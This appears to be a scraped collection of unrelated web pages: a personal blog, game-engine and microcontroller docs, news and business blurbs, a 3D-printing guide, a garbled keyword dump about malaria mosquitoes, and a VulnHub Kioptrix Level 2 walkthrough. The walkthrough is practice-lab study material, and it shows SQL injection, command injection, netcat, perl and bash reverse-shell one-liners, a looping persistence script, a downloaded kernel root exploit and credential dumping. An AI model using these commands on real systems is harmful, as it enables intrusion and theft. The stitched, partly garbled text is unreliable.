this is mason's blog guys
please dont listen to me
Mentorship - 4
I don't know where I would be without the teachers and mentors I've had along the way. This is not a journey one can make alone. Knowledge and wisdom meant to be shared and I'm very glad I've encountered characters along the way who've chosen to share theirs with me. In return, I've always tried to pass on what I know, as it can be just as instrumental in solidifying my knowledge of a topic as it is in creating it in another.
Honesty - 3
Similar to mentorship, being able to call something (or someone) as it is and offer a genuine, unbiased analysis of it is an art that seems to be slipping by the wayside. With the prevalence of the yes-man not to mention the constant reconfiguration of the internet to just to align with whatever interests you've shown, the feedback loop of "no, this is unacceptable" seems to have been severed as there appears to be more and more mediocrity and false camaraderie than ever before. Valid criticism is now hard to find, not only of one's work but of themselves.
Advice
If memory serves me well, the last thing I was asked advice on was "Should I bother taking the SAT this Saturday?" I believe this lines up with both of the values above, explicitly with the first and morally with the second.
Values and Stereotype threat
Thinking about my values is good as I try to meditate on them often to see where I stand in relation to where I'd like to. Stereotype threat has never been that big of an issue for me, but an honest approach to it should be fine. So far just listening to music or taking 20-30 minutes to myself to ponder has worked fine, I believe it will at DBC as well.


mosquitoes (.) females transgenic mosquito infection {border-style Anopheles ONNV px;} #ffffff;} dose gambiae malaria number significant falciparum oral infected infections males differences nontransgenic saliva strain titer virus Log body difference leg results vector human legs performed transgene doses individuals positive px; titers used {font-family (Windbichler BenedictM. CPE M., Vero analyzed font-size mean observed oocyst prevalence risk (Diptera: Ag(DSM) Malaria Plasmodium different double; feeding infection, infectious intensity population ratio samples using (Log A., Blood National Table Target ability affect approved assay blood bodies border-color border-width competence develop development fed higher incubation laboratory male provided rates sexual shown significantly solid; strains study test {font-style {font-weight A.. C., CDC Culicidae) DNA Fisher’s Health Infections M.Q.B. PFU/ml) Q.. Transgenic assays bold cells chromosome collab: courier; cultured data dose. em; exact expressed extrinsic gambiae. group highest larval medium pathogens potential pt;} respectively. shipped similar standard sterility sucrose use viral


Web design
Takin' a break from all your worries sure would help a lot. Sunny Days sweepin' the clouds away. On my way to where the air is sweet.
read moreTakin' a break from all your worries sure would help a lot. Sunny Days sweepin' the clouds away. On my way to where the air is sweet.
read moreTakin' a break from all your worries sure would help a lot. Sunny Days sweepin' the clouds away. On my way to where the air is sweet.
read moreTakin' a break from all your worries sure would help a lot. Sunny Days sweepin' the clouds away. On my way to where the air is sweet.
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Singleton Interfaces
Singletons are classes of which there should only be a single instance throughout the lifetime of the process. Although EZ uses the singleton pattern quite extensively for built-in classes, such as ezTaskSystem
and ezResourceManager
, those classes don't use dedicated singleton infrastructure. Instead, they only expose static functions, and there is no need for any instance.
Accessing such singletons is trivial, as you can always call their functions directly. However, there is another type of singleton, which does require special handling.
There are cases where you want to define an interface to make certain functionality available, but you may have different implementations. Only one implementation should ever be active, though. Concrete examples are the integrations of third party libraries. For example there is an ezFrameCaptureInterface
. This class defines an interface through which ezGameApplicationBase
can do a capture of the rendered frame, which can be used for debugging graphics issues. However, how such a frame capture could be taken, depends on the platform, the installed tools, the used graphics API and so on. This functionality may be available or not and the exact implementation that is needed can differ drastically.
Therefore, we want to be able to dynamically load the necessary implementation and make it available through the abstract interface. For the ezFrameCaptureInterface
we have an implementation by our RenderDoc integration. In the future we might have a second implementation for PIX or some other platform specific tool.
Using the singleton infrastructure, we can simply load an engine plugin that contains an implementation, and from that plugin register our implementation for that interface. Other code can then query for an instance of this interface and, if available, use it without knowing anything about the implementation, and without the need to link against that library.
Implementing Singletons
This section shows all the pieces needed for a singleton. You can find the sample code in the Sample Game Plugin.
Interface Base Class
First, you need to have a virtual base class that declares the actual interface.
/// \brief Pure virtual interface for demonstrating the singleton work flow
///
/// This declaration would typically be in a shared location, that all code can #include
class PrintInterface
{
public:
virtual ~PrintInterface() = default;
virtual void Print(const ezFormatString& text) = 0;
};
This is the class through which other code will later access the functionality, so it must be in a shared location.
Interface Implementation
Next, you need one or more implementations of your interface. You can, of course, have zero implementations, if all you want to provide is the option for future extensibility, and your code should generally be able to handle the fact that no implementation is currently loaded.
/// \brief Implementation of the PrintInterface, just forwards the text to ezLog::Info()
///
/// This would typically be in a different plugin than the interface and would be allocated by that plugin on startup.
class PrintImplementation : public PrintInterface
{
EZ_DECLARE_SINGLETON_OF_INTERFACE(PrintImplementation, PrintInterface);
public:
PrintImplementation();
virtual void Print(const ezFormatString& text) override;
private:
// needed for the startup system to be able to call the private function below
EZ_MAKE_SUBSYSTEM_STARTUP_FRIEND(SampleGamePluginStartupGroup, SampleGamePluginMainStartup);
void OnCoreSystemsStartup()
{
/* we could do something important here */
}
};
Note the EZ_DECLARE_SINGLETON_OF_INTERFACE
macro. This adds one part of the required functionality. For one, this class adds a function to query the one and only instance of your class (GetSingleton()
). Also, it prevents you from creating two instances of this class, as that would violate the singleton contract.
Finally, you need to add this to you cpp file:
EZ_IMPLEMENT_SINGLETON(PrintImplementation);
PrintImplementation::PrintImplementation()
: m_SingletonRegistrar(this) // needed for automatic registration
{
}
The macro again inserts vital code for your singleton to work. The constructor also has to follow the pattern shown above.
You can now implement the desired behavior for the overridden functions.
Instantiating Singletons
The EZ singleton infrastructure does not automatically create an instance of singleton classes. It is up to you whether, when and how you create your instance. The most common way to do this, is to leverage the startup system to hook into the engine startup process at the right time.
For details, read that chapter, but here is what you would typically do. At startup you instantiate your singleton implementation:
ON_CORESYSTEMS_STARTUP
{
// allocate an implementation of PrintInterface
s_PrintInterface = EZ_DEFAULT_NEW(PrintImplementation);
s_PrintInterface->OnCoreSystemsStartup();
s_PrintInterface->Print("Called ON_CORESYSTEMS_STARTUP");
}
And at shutdown you make sure to clean it up again:
ON_CORESYSTEMS_SHUTDOWN
{
s_PrintInterface->Print("Called ON_CORESYSTEMS_SHUTDOWN");
// clean up the s_PrintInterface, otherwise we would get asserts about memory leaks at shutdown
s_PrintInterface.Clear();
}
Accessing Singletons
There are two ways that you can access your singleton instance. In a piece of code that knows for certain that it will only run in conjunction with a specific singleton implementation, you can access it directly:
PrintImplementation::GetSingleton()->Print("Called ON_HIGHLEVELSYSTEMS_SHUTDOWN");
This is the most efficient way. However, use cases for this should be relatively rare. The more common situation is, when you want to get the implementation for an interface. To do so, you need to go through ezSingletonRegistry
:
ezSingletonRegistry::GetSingletonInstance<PrintInterface>()->Print("Called ON_HIGHLEVELSYSTEMS_STARTUP");
Here we don't need to know anything about the implementation and therefore have no link dependency on the library that provides it. This is how most code would access a singleton implementation. Be aware that this requires a more expensive lookup, so locally cache the result, if you want to do multiple function calls on it.


Unlimited Games. how should Red play 32?
pips Red=169 White=177
(CorrectAnswer= 0/0, ErrorScore= 0)
This is not the easiest problem because there are so many possible moves.
The gut reaction is to secure an anchor with bar/22 and then find a suitable two.
However, White has only eight checkers in the zone and so Red can make the mildly bold play of bar/20.
Bar/22, 8/6 and bar/22, 6/4 are both OK but are still very nearly errors. Bar/23, 21/18, inviting a double hit by White is definitely an error.
The gut reaction is to secure an anchor with bar/22 and then find a suitable two.
However, White has only eight checkers in the zone and so Red can make the mildly bold play of bar/20.
Bar/22, 8/6 and bar/22, 6/4 are both OK but are still very nearly errors. Bar/23, 21/18, inviting a double hit by White is definitely an error.
1. Cubeful 2-ply bar/20 Eq.: -0.053 0.481 0.137 0.008 - 0.519 0.131 0.006 2. Cubeful 2-ply bar/22 6/4 Eq.: -0.076 (-0.023) 0.472 0.134 0.008 - 0.528 0.130 0.005 3. Cubeful 2-ply bar/23 21/18 Eq.: -0.077 (-0.023) 0.475 0.139 0.009 - 0.525 0.143 0.007 4. Cubeful 2-ply bar/22 8/6 Eq.: -0.080 (-0.027) 0.469 0.132 0.007 - 0.531 0.125 0.004 5. Cubeful 2-ply bar/22 13/11 Eq.: -0.094 (-0.041) 0.467 0.137 0.009 - 0.533 0.135 0.005


Congratulations! You're running the Bulma start project.
It includes everything you need to build your own website with Bulma.
Our Mission
To bring superior service and reliability to our customers. We aim to contribute to the development of society.
Maintaining inline dedication to consistency, timely delivery and a straightforward approach to industry. To equip our people to be globally competitive and provider in the global industry of premium fresh fruits.
Fruits that are good for you are good for future generations.
Our Vission
To be a globally recognised import-export business that prioritises quality, service, and value to meet the needs of our consumers. AAMEGOES seeks to be a service provider committed to high-end fresh fruit and vegetable products; products of exceptional quality that ensure food protection and that are cultivated in situations where people and the environment are concerned. This is accomplished by the use of discretion, enthusiasm, and determination.


Myrtle Beach officers capture lost mini-pig, working to reunite pet with family
by WMBF News StaffMYRTLE BEACH, S.C. (WMBF) – This little piggie is about to go “wee-wee-wee,” all the way home … to North Carolina.
According to a post on the Myrtle Beach Police Department’s Facebook page, a mini-pig that was separated from its vacationing family has been located.
The pig, named Biscuit, was caught by MBPD officers and members of the city services team.
Now, the city’s animal control division is working to reunite Biscuit with his family that was vacationing from N.C., according to police.


Interrupt Service Routines. More...
Go to the source code of this file.
Functions | |
| void | SysTick_Handler (void) |
| This function handles System tick timer. | |
| void | TIM2_IRQHandler (void) |
| This function handles TIM2 global interrupt. | |
| void | TIM3_IRQHandler (void) |
| This function handles TIM3 global interrupt. | |
| void | SPI1_IRQHandler (void) |
| This function handles SPI1 global interrupt. | |
| void | USART1_IRQHandler (void) |
| This function handles USART1 global interrupt. | |
Variables | |
| SPI_HandleTypeDef | hspi1 |
| TIM_HandleTypeDef | htim2 |
| TIM_HandleTypeDef | htim3 |
| UART_HandleTypeDef | huart1 |
Interrupt Service Routines.
COPYRIGHT(c) 2015 STMicroelectronics
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of STMicroelectronics nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.

Definition in file stm32f1xx_it.c.
| TIM_HandleTypeDef htim2 |
File Name : TIM.c Description : This file provides code for the configuration of the TIM instances.
COPYRIGHT(c) 2015 STMicroelectronics
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of STMicroelectronics nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.

Definition at line 44 of file tim.c.
Referenced by TIM2_IRQHandler().


Over 220 million tons of plastic are produced each year
UNESCO
A plastic bag can kill numerous animals because they take so long to disintegrate.  It has been ingested with dire consequences by some 700 species of marine wildlife
National Geographic
The #1 man made thing that sailors see in our ocean are plastic bags
The Ocean Crusaders
Plastic debris causes the deaths of more than a million seabirds every year, as well as more than 100,000 marine mammals.
UNESCO
Approximately 1 million sea birds die from plastic
• http://oceancrusaders.org/plastic-crusades/plastic-statistics/Australian Marine Conservation Society
Great Pacific Garbage Patch — an endless floating waste of plastic trash. Now he's drawing attention to the growing, choking problem of plastic debris in our seas
http://marinebio.org/oceans/ocean-dumping/Marine Conservation
Plastic bags are now amongst the top 12 items of debris most often found along coastlines
http://dpw.lacounty.gov/epd/PlasticBags/Articles/Googobits_07-21-05.pdfDepartment of Public Workds, Los Angeles County
The University of QLD, confirms that approximately 40% of the turtles she autopsies have plastics, including plastic bags, in their intestinal tract
http://plasticbags.planetark.org/about/wildlife.cfmPlantet Ark
Every year over 6 million tonnes of rubbish is dumped into the world’s oceans, 80% of which is plastic, and a further 10% of this being plastic bags5
https://www.cleanup.org.au/PDF/au/cua_plastic_bags_fact_sheet.pdfClean Up


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Signaling Project - Line 3 extension, starting from Noida City Centre to Noida Electronic City


---
layout: post
title: "Kioptrix: Level 1.1 (#2)"
date: 2019-05-10 13:46:44 +0000
author: Larry Brown
category: Walkthroughs
tags: [vulnhub, kioptrix, sqli, kernel exploit]
---
Hostname:
IP Address: <IP_ADDRESS>
Information Gathering/Recon
The IP address is obtained via DHCP at boot. In my case, the IP is <IP_ADDRESS>.
Service Enumeration/Scanning
root@kali:~/Walkthroughs/kioptrix2# nmap -Pn -sT -sV --script=default,banner -A -oA kioptrix2 -p- <IP_ADDRESS>
Starting Nmap 7.70 ( https://nmap.org ) at 2019-05-11 22:14 CDT
Nmap scan report for <IP_ADDRESS>
Host is up (0.0031s latency).
Not shown: 65528 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 3.9p1 (protocol 1.99)
|_banner: SSH-1.99-OpenSSH_3.9p1
| ssh-hostkey:
| 1024 8f:3e:8b:1e:58:63:fe:cf:27:a3:18:09:3b:52:cf:72 (RSA1)
| 1024 34:6b:45:3d:ba:ce:ca:b2:53:55:ef:1e:43:70:38:36 (DSA)
|_ 1024 68:4d:8c:bb:b6:5a:bd:79:71:b8:71:47:ea:00:42:61 (RSA)
|_sshv1: Server supports SSHv1
80/tcp open http Apache httpd 2.0.52 ((CentOS))
|_http-server-header: Apache/2.0.52 (CentOS)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
111/tcp open rpcbind 2 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2 111/tcp rpcbind
| 100000 2 111/udp rpcbind
| 100024 1 821/udp status
|_ 100024 1 824/tcp status
443/tcp open ssl/https?
|_ssl-date: 2019-05-12T00:05:23+00:00; -3h09m46s from scanner time.
| sslv2:
| SSLv2 supported
| ciphers:
| SSL2_RC4_128_WITH_MD5
| SSL2_RC4_64_WITH_MD5
| SSL2_RC2_128_CBC_WITH_MD5
| SSL2_DES_192_EDE3_CBC_WITH_MD5
| SSL2_DES_64_CBC_WITH_MD5
| SSL2_RC4_128_EXPORT40_WITH_MD5
|_ SSL2_RC2_128_CBC_EXPORT40_WITH_MD5
631/tcp open ipp CUPS 1.1
| http-methods:
|_ Potentially risky methods: PUT
|_http-server-header: CUPS/1.1
|_http-title: 403 Forbidden
824/tcp open status 1 (RPC #100024)
3306/tcp open mysql MySQL (unauthorized)
| banner: I\x00\x00\x00\xFFj\x04Host 'kali.homenet.dom' is not allowed to
|_ connect to this MySQL server
MAC Address: 00:0C:29:53:19:4C (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.18
Network Distance: 1 hop
Host script results:
|_clock-skew: mean: -3h09m46s, deviation: 0s, median: -3h09m46s
TRACEROUTE
HOP RTT ADDRESS
1 3.05 ms <IP_ADDRESS>
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 114.97 seconds
Gaining Access
The following software was identified by the nmap scan:
-
OpenSSH 3.9p1 - buffer overflow issues
-
Apache/2.0.52 - known user disclosure and DoS issues
-
CUPS/1.1 - buffer overflow and DoS issues
OpenSSH issues...
OpenSSH 3.x - Challenge-Response Buffer Overflow (1) | exploits/unix/remote/21578.txt
OpenSSH 3.x - Challenge-Response Buffer Overflow (2) | exploits/unix/remote/21579.txt
Reading through the write-ups for the OpenSSH issues, we see the vulnerabilities were fixed in version 3.4, so they won't be of any use to us.
CUPS issues...
CUPS 1.1.x - '.HPGL' File Processor Buffer Overflow | exploits/linux/remote/24977.txt
Reading through the write-up for the CUPS issue, we'd need to be able to print a file. The service shows to support the PUT method, but also returns a 403 Forbidden error, so we probably can't upload anything (I confirmed this).
Moving on to the HTTP service on TCP port 80...
The default site for the service contains a "Remote System Administration Login" login form. Checking for a possible SQL injection vulnerability, we are quickly able to "login" using the following string in the username field.
The next form we are presented with after logging in is a "ping" interface.
Trying the following input...
We get this response (opened in a new window/tab).
So, we know we have a command execution vulnerability. Time to get our reverse shell.
First, I'll start two listeners in Metasploit. I like to start two listeners because reverse shells started through web requests typically timeout quickly. Once connected, I like to start a second reverse shell that is more stable.
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5432
LPORT => 5432
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5432
msf5 exploit(multi/handler) >
msf5 exploit(multi/handler) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload generic/shell_reverse_tcp
payload => generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set LHOST <IP_ADDRESS>
LHOST => <IP_ADDRESS>
msf5 exploit(multi/handler) > set LPORT 5433
LPORT => 5433
msf5 exploit(multi/handler) > run -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on <IP_ADDRESS>:5433
I'll use netcat to start my first reverse shell from the "ping" interface. I'll use perl to start my second reverse shell from the first.
Netcat shell command...
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP_ADDRESS> 5432 >/tmp/f
Perl shell command...
perl -e 'use Socket;$i="<IP_ADDRESS>";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' &
Unfortunately, my netcat command didn't work. Netcat might not be installed. I'll try again with a bash reverse shell...
bash -i >& /dev/tcp/<IP_ADDRESS>/5432 0>&1
Worked! I got my first session and set up my second session.
msf5 exploit(multi/handler) > [*] Command shell session 1 opened (<IP_ADDRESS>:5432 -> <IP_ADDRESS>:40009) at 2019-05-11 23:11:56 -0500
msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...
bash-3.00$ pwd
/var/www/html
bash-3.00$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-3.00$ perl -e 'use Socket;$i="<IP_ADDRESS>";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};' &
[1] 3998
bash-3.00$ [*] Command shell session 2 opened (<IP_ADDRESS>:5433 -> <IP_ADDRESS>:40010) at 2019-05-11 23:12:09 -0500
bash-3.00$ background
Background session 1? [y/N] y
msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...
bash-3.00$ id
uid=48(apache) gid=48(apache) groups=48(apache)
bash-3.00$ [*] <IP_ADDRESS> - Command shell session 2 closed.
Unfortunately, both closed when the web request timed out. 😞
I decided to create a simple shell script that will try to connect back to my attacking machine every 20 seconds and use python's SimpleHTTPServer to serve it up to the victim.
root@kali:~/Walkthroughs/kioptrix2# cat thumbs
#!/bin/sh
while true; do
perl -e 'use Socket;$i="<IP_ADDRESS>";$p=5433;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
# sleep for 20 seconds
sleep 20
done
root@kali:~/Walkthroughs/kioptrix2# python -m SimpleHTTPServer 4321
Serving HTTP on <IP_ADDRESS> port 4321 ...
<IP_ADDRESS> - - [12/May/2019 09:37:19] "GET /thumbs HTTP/1.0" 200 -
I uploaded the script to the victim's /tmp directory and ran it in the background (and disowned it). Now, if I get disconnected, I should be able to restart a listener and get back in within 20 seconds.
bash-3.00$ cd /tmp
bash-3.00$ wget -O thumbs2 <IP_ADDRESS>:4321/thumbs
--07:27:34-- http://<IP_ADDRESS>:4321/thumbs
=> `thumbs'
Connecting to <IP_ADDRESS>:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 298 [application/octet-stream]
0K 100% 25.84 MB/s
07:27:34 (25.84 MB/s) - `thumbs' saved [298/298]
bash-3.00$ chmod +x thumbs
bash-3.00$ ./thumbs &
[2] 14001
Maintaining Access
Our thumbs script should help us maintain access. Moving on...
Privilege Escalation
Checking the installed os and kernel...
bash-3.00$ uname -a
Linux kioptrix.level2 2.6.9-55.EL #1 Wed May 2 13:52:16 EDT 2007 i686 i686 i386 GNU/Linux
bash-3.00$ cat /etc/issue.net
CentOS release 4.5 (Final)
We have lots of possible exploits for this particular kernel, but there's one exploit that seems to match our running kernel and os pretty directly...
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 | exploits/linux_x86/local/9542.c
...so we'll try it out on our victim. We'll make a local copy in our working directory and then transfer it to the victim using python's SimpleHTTPServer.
root@kali:~/Walkthroughs/kioptrix2# cp /usr/share/exploitdb/exploits/linux_x86/local/9542.c .
root@kali:~/Walkthroughs/kioptrix2# python -m SimpleHTTPServer 4321
Serving HTTP on <IP_ADDRESS> port 4321 ...
<IP_ADDRESS> - - [12/May/2019 00:50:09] "GET /9542.c HTTP/1.0" 200 -
Then, on the victim...
bash-3.00$ wget -O 9542.c <IP_ADDRESS>:4321/9542.c
--22:40:22-- http://<IP_ADDRESS>:4321/9542.c
=> `9542.c'
Connecting to <IP_ADDRESS>:4321... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,643 (2.6K) [text/plain]
0K .. 100% 315.07 MB/s
22:40:22 (315.07 MB/s) - `9542.c' saved [2643/2643]
bash-3.00$ gcc -o pwn 9542.c
9542.c:109:28: warning: no newline at end of file
bash-3.00$ ./pwn
sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)
We have root! 😄
Pivoting
N/A
Clean Up
*** REMOVE /tmp/9542.c ***
*** REMOVE /tmp/pwn ***
Additional Info
netcat
I was curious if netcat was available since our netcat command didn't work when trying to start a reverse shell from the "ping" web app. When checking if 'nc' was available, I noticed our PATH variable was pretty sparse. I decided to expand it to see if there were more programs available.
bash-3.00$ which nc
which: no nc in (/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin)
bash-3.00$ export PATH=$PATH:/home/seekorswim:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
After expanding PATH to include more common locations, we have netcat!
bash-3.00$ which nc
/usr/local/bin/nc
anaconda-ks.cfg
Checking on files in the /root directory, I noticed a kickstart setup file (anaconda-ks.cfg). Setup files can often contain passwords for user accounts that are going to be created (including root). Checking the file...
sh-3.00# cat anaconda-ks.cfg
# Kickstart file automatically generated by anaconda.
install
cdrom
lang en_US.UTF-8
langsupport --default=en_US.UTF-8 en_US.UTF-8
keyboard us
xconfig --card "VMWare" --videoram 131072 --hsync 31.5-37.9 --vsync 50-70 --resolution 800x600 --depth 16
network --device eth0 --bootproto dhcp
rootpw --iscrypted $1$P6T9.F9L$xWdVUe236dzLXYsXK/IZ60
firewall --disabled
selinux --disabled
authconfig --enableshadow --enablemd5
timezone America/New_York
bootloader --location=mbr
# The following is the partition information you requested
# Note that any partitions you deleted are not expressed
# here so unless you clear all partitions first, this is
# not guaranteed to work
#clearpart --all --drives=hda
#part /boot --fstype ext3 --size=100 --ondisk=hda
#part pv.2 --size=0 --grow --ondisk=hda
#volgroup VolGroup00 --pesize=32768 pv.2
#logvol / --fstype ext3 --name=LogVol00 --vgname=VolGroup00 --size=1024 --grow
#logvol swap --fstype swap --name=LogVol01 --vgname=VolGroup00 --size=256 --grow --maxsize=512
%packages
@ mysql
@ admin-tools
@ system-tools
@ dialup
@ ftp-server
@ web-server
@ server-cfg
@ development-tools
kernel-devel
e2fsprogs
kernel
lvm2
grub
%post
We were not able to crack the hash using a simple john --single pass.
.mysql_history
Checking on files in the /root directory, we found a mysql history file with several usernames and passwords.
show databases;
create database webapp;
use webapp;
create table users(id INT,username varchar(100),password varchar(10));
show database;
select * from users;
show databases;
use webapp;
insert into users values(1,'admin','hello');
select * from users;
use mysql
show databases;
use mysql;
select * from users where user=john;
show tables;
select * from user where user=john;
select * from user where user='john';
select * from user;
create user 'john'@'localhost' identified by 'hiroshima';
create user 'webapp'@'localhost' identified by 'hiroshima';
create user 'webapp'@'localhost' IDENTIFIED BY 'hiroshima';
CREATE USER 'webapp'@'localhost' identified by 'hiroshima';
update user set password = password('hiroshima') where user = 'john';
use mysql;
show users;
select * from user;
create user 'john'@'localhost' identified by 'hiroshima';
version;
-v
;
help
flush privileges;
show databases;
use mysql;
grant select,insert,update,delete on *.* to 'john'@'localhost';
update user set password = password('hiroshima') where user = 'john';
flush priveleges;
use webapp;
show tables;
update user set password = password('Ha56!blaKAbl') where user = 'admin';
update username set password = password('Ha56!blaKAbl') where user = 'admin';
select * from users;
update username set password = password('Ha56!blaKAbl') where username = 'admin';
update users set password = password('Ha56!blaKAbl') where username = 'admin';
select * from users;
insert into users values(2,'john','66lajGGbla');
select * from users;
Connecting to the mysql service with user john and password hiroshima, we were able to dump the webapp users table.
bash-3.00# mysql -u john -p
Enter password: hiroshima
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 398 to server version: 4.1.22
Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
mysql> show databases;
show databases;
+----------+
| Database |
+----------+
| mysql |
| test |
| webapp |
+----------+
3 rows in set (0.03 sec)
mysql> use webapp;
use webapp;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
mysql> show tables;
show tables;
+------------------+
| Tables_in_webapp |
+------------------+
| users |
+------------------+
1 row in set (0.00 sec)
mysql> select * from users;
select * from users;
+------+----------+------------+
| id | username | password |
+------+----------+------------+
| 1 | admin | 5afac8d85f |
| 2 | john | 66lajGGbla |
+------+----------+------------+
2 rows in set (0.00 sec)
I tried all these passwords on the SSH service (for root, john and harold), but none worked.
index.php
Looking for database credentials in the PHP page we were able to do the SQL injection attack on...
bash-3.00# cat index.php
<?php
mysql_connect("localhost", "john", "hiroshima") or die(mysql_error());
//print "Connected to MySQL
";
mysql_select_db("webapp");
if ($_POST['uname'] != ""){
$username = $_POST['uname'];
$password = $_POST['psw'];
$query = "SELECT * FROM users WHERE username = '$username' AND password='$password'";
$result = mysql_query($query);
$row = mysql_fetch_array($result);
//print "ID: ".$row['id']."
";
}
?>
[...snip...]
Nothing new here, but documented for posterity.


{% extends 'common/base.html' %} {% load static %} {% block styles %} {% endblock %} {% block site_title %} About {% endblock %} {% block content %}
Hello prospective designers and architects:
Thinking about selling your home plans through us? We're the top online provider of ready-made house plans, and we make your plans available for purchase to hundreds of thousands of motivated shoppers every month at no cost to you. Our network of house plan sites is owned by Hanley Wood, the premier data and media company serving the residential, design, and commercial construction industry, and the publisher of well-known magazines. We want to add high quality home plans -- by professional architects and designers -- that are relevant for today's living. We're looking for plans that stand out because of superior design and strong visual representation through professional photos or photorealistic renderings, front, side, and rear elevations, and thorough information about the plan. At this time, we are particularly interested in plans that fall in the range of 200-700 square meters with three or four bedrooms, especially farmhouse, craftsman, and contemporary styles.
The benefits of publishing with Houseplans:
To be considered for partnership, please email me at<EMAIL_ADDRESS>and include:


NExT LAB
Introduction to 3D Printing
NExT Lab Knowledge Base
The NExT Lab KB is a space where students and staff can find information, guides and other resources. Access it at: https://msd-makerspaces.gitbook.io/next-lab/
Makerbot Replicators
The NExT Lab is home to 29 Makerbot Replicator +'s and 2 Makerbot Z18's.
- Build Size295mm X 195mm X 165mm H
- Build Size300mm X 305mm x 457mm H
Makerbot Replicator +
Makerbot Replicator Z18
The 3D Printing Process
-
01. Prepare 3D Model
- Use Rhino or a similar software to create a closed, good mesh.
- Export your mesh as a binary stl file.
-
02. Check your Model
- Check to make sure your model is closed and contains no naked edges.
-
03. Slice your Model
- Use Makerbot Print to generate rafts, supports and a print path.
-
04. Submit your Request
- Start a new Request on the MSD Innovation Centre
- Add files to your request using the correct naming convention
- Submit your Request
- Check your emails for updates!
Preparing a model for 3d print
Working with polysurfaces and meshes
Here will we construct a polysurface for printing. We will then construct a mesh from those surfaces and perform some preliminary checks for our model.
Software we use: Rhino 3D
WARNING:
Meshes from Sketchup or online sources such as Thingiverse usually need a lot of work
Checking your Mesh
Helpful Commands
-
ThicknessAnalysis
Creates a gradient overlay which displays mesh thickness. Remember your mesh should be at least 2mm thick.
-
Check
Returns 'Good Mesh' or 'Bad Mesh'. Remember that for an object to be 3d printable, it needs to be closed with no naked edges.
-
MeshRepair
Opens the Mesh Repair Panel. Follow the steps to try to obtain either a good mesh, or a closed mesh with no naked edges.
Checking your Mesh
Going Further: Helpful Tools
Checking your Mesh
Going Further: Helpful Tools
-
Change Viewport Settings
Make sure you colour back-faces and naked edges to help you identify problems with your meshes.
-
Consultations
Consultations are an opportunity for us to diagnose some issues you might be having, but in a lot of cases there isnt much we can do to fix your file all together.
Prevention is better than a cure
Most mesh problems occur from trying to mesh intersection or poorly constructed/booleaned geometries. Be sure to save your project at various stages or use parametric tools to ensure that if your mesh is too far gone, you are still able to work with your polysurfaces.
Supports and Rafts
Support Material needs to be generated under horizontal overhanging elements because FDM printers need a surface to print on.
Orientation
There are two main things to consider when orienting your 3d print on a bed. 1. Hole Orientation: Holes will be filled with support material if their profile is perpendicular to the bed; 2. Build Direction: Better resolution is achieved along the z-axis, but also, less strength.
Shells
Shells are the outer surfaces of your solid. The greater number of shells, the stronger a part will be, but it will increase weight and print time.
Infill
Infill is necessary to support the shell during printing and service. The greater the density of infill, the stronger the part will be, but it will increase weight and print time.
Custom Settings
Available for download here
We've made some foolproof custom settings that create strong and reliable prints.
- Infill Pattern: Diamond (Fast)
- Infill Density: 10%
- Layer Height: 0.2mm
- Number of Shells: 2
- Support Angle: 30°
- Support Density: 10%
- Raft Size: 4mm
$
Calculating Cost.
$0.15 per gram for PLA prints.
We charge $0.15 per gram (PLA) and $0.30 per gram (Tough PLA) for both faculty and students.
This is the retail price for the material.
We have a minimum charge of $10.00 per request
You can access our cost calculator here.
The Submission Process
-
01. Submit a Request
- Submit a request to the Innovation Centre using the correct naming conventions
-
